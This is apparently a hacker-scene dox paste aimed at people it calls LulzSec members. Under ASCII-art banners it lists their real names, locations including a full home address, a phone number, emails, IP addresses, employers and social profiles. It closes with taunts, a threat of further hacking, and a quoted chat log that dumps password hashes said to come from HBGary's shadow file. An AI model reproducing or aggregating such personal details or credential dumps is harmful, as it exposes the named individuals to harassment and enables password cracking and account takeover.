.88ooo8888. `88..8' 888 888 888 888 888 888 .8' `888. `888' 888 888 888 888 888 888 . o88o o8888o `8' `V88V"V8P' o888o o888o o888o "888" ################################################################################################################################## ################################################################################################################################## Dox: Name: Christopher Ellison Location: Colchester, Essex Business: avunit(.com) as Media Manager 00441473705206 Computer: Profiles: http://uk.linkedin.com/pub/christopher-ellison/31/611/684 http://www.facebook.com/profile.php?id=701043505 ? Sites: Notes: Dox confirmed by #hq logs where he says the dox posted are true ################################################################################################################################## ################################################################################################################################## .oooooo..o .o8 d8P' `Y8 "888 Y88bo. .oooo. 888oooo. oooo oooo `"Y8888o. `P )88b d88' `88b `888 `888 `"Y88b .oP"888 888 888 888 888 oo .d8P d8( 888 888 888 888 888 8""88888P' `Y888""8o `Y8bod8P' `V88V"V8P' ################################################################################################################################## ################################################################################################################################## Dox: Name: Hector Xavier Montsegur Location: New York, New York Race: Puerto Rican ? E-Mail: sabu@prvt.org Computer: Handles: 548U, hectic_les, leon IP: 199.68.198.129 (ssh-only.recklesstheory.com) Profiles: http://www.facebook.com/lesmujahideen ? Sites: prvt.org Notes: dox confirmed by archived whois entries for prvt.org (his personal site according to #hq logs which he anonymized DNS after release) ################################################################################################################################## ################################################################################################################################## . oooooooooooo oooo .o8 `888' `8 `888 .o888oo 888 888 .ooooo. oooo oooo ooo 888 888oooo8 888 d88' `88b `88. `88. .8' 888 888 " 888 888 888 `88..]88..8' 888 . 888 888 888 888 `888'`888' "888" o888o o888o `Y8bod8P' `8' `8' ################################################################################################################################## ################################################################################################################################## Dox: Name: Solomon Saleh Location: London, UK Job: Web Developer at Wikijob.co.uk Computer: Handles: timeflow, bottle_of_rum Profiles: https://www.facebook.com/dormitree http://about.me/solomon2 http://www.linkedin.com/in/solomonsaleh http://blog.kornar.com/ Sites: Notes: dox refinforced by facebook (computer science interests) and about.me (claims to be a hacker, londoner) ################################################################################################################################## ################################################################################################################################## o8o o8o .ooooo. .o `"' `"' 888' `Y88. o888 oooo .ooooo. .ooooo. oo.ooooo. oooo .ooooo. 888 888 888 `888 d88' `88b d88' `88b 888' `88b `888 d88' `88b `Vbood888 888 888 888 888 888ooo888 888 888 888 888ooo888 888' 888 888 888 888 888 .o 888 888 888 888 .o .88P' 888 888 `Y8bod8P' `Y8bod8P' 888bod8P' o888o `Y8bod8P' .oP' o888o 888 888 .o. 88P o888o `Y888P ################################################################################################################################## ################################################################################################################################## Dox: Name: Sven Slootweg Location: Wijnstraat 211 3311BV Dordrecht, Netherlands Phone: (+31) 06 - 26 51 99 55 E-Mail: info@sven-slootweg.nl jamsoftgamedev@gmail.com jamsoftgamedev@yahoo.com Computer: IP: @an-2A2E2EE5.adsl.wanadoo.nl Profiles: http://twitter.com/#!/joepie91 Sites: www.yunicc.ws www.chinacheep.com www.anonnews.org www.sven-slootweg.nl Notes: Name reinforced by #hq logs (he claims his personal site) and confirmed by LulzSec Exposed logs (mentions theyre his sites) Name confirmed by twitter Phone confirmed by gmail Location reinforced by Lulzsec Exposed logs Lulzsec affiliate, friend of Ryan ################################################################################################################################## ################################################################################################################################## Now we know that some other people have passed some stuff (senate.gov) to lulzsec (you will be owned soon mindwar). We think that with these kid's exposed as long as other people stop passing lulzsec hacks that it will eventually die off. Kayla and sabu lack the skill to do anything more then go after the low hanging fruit. Now keep in mind lulzsec will try to claim that gn0sis isn't part of lulzsec or that no one is lulzsec. They will also try to claim that these d0x are corrent. If you look at these attacks demonstrated here, this is all the stuff that lulzsec hasn't released yet and probably wont release because as of this writing gn0sis has split from lulzsec. Which is why lulzsec is request help from outside sources. Because Sabu and Kayla lack the skills to hack anything on their own. Sabu and Kayla are the ones responsible for HBGary (gn0sis found the vulnerability vector though). This is evident in kayla's dumping part of the shadow file to our spies: (08:03:13 PM) kayla: root:$1$XvkHbOb.$hEB8k8G/YXcQadaGFCcsS0:15011:0:99999:7::: (08:03:13 PM) kayla: jussi:$1$N0aKf9ao$.AZNp8UbP2JXDpaes64iG.:13378:0:99999:7::: (08:03:14 PM) kayla: hoglund:$1$rfGprb5A$7hpSt9DW82ihOZEk3L3px.:15011:0:99999:7::: (08:03:14 PM) kayla: dateach:$1$LNORLcjK$IB1elonAPmGJLdwCOQoR0/:13225:0:99999:7::: (08:03:14 PM) kayla: pedram:$1$4oKzMX1n$IL36cXiKvnW4S8HpgmOS91:13208:0:99999:7::: (08:03:14 PM) kayla: darawk:$1$pDY/ltrQ$sGPmCZqOU509g36CwctkD/:13217:0:99999:7::: ooooooooooooo oooo oooooooooooo .o8 8' 888 `8 `888 `888' `8 "888 888 888 .oo. .ooooo. 888 ooo. .oo. .oooo888 888 888P"Y88b d88' `88b 888oooo8 `888P"Y88b d88' `888 888 888 888 888ooo888 888 " 888 888 888 888 888 888 888 888 .o 888 o 888 888 888 888 o888o o888o o888o `Y8bod8P' o888ooooood8 o888o o888o `Y8bod88P" ################################################################################################################################## ##################################################################################################################################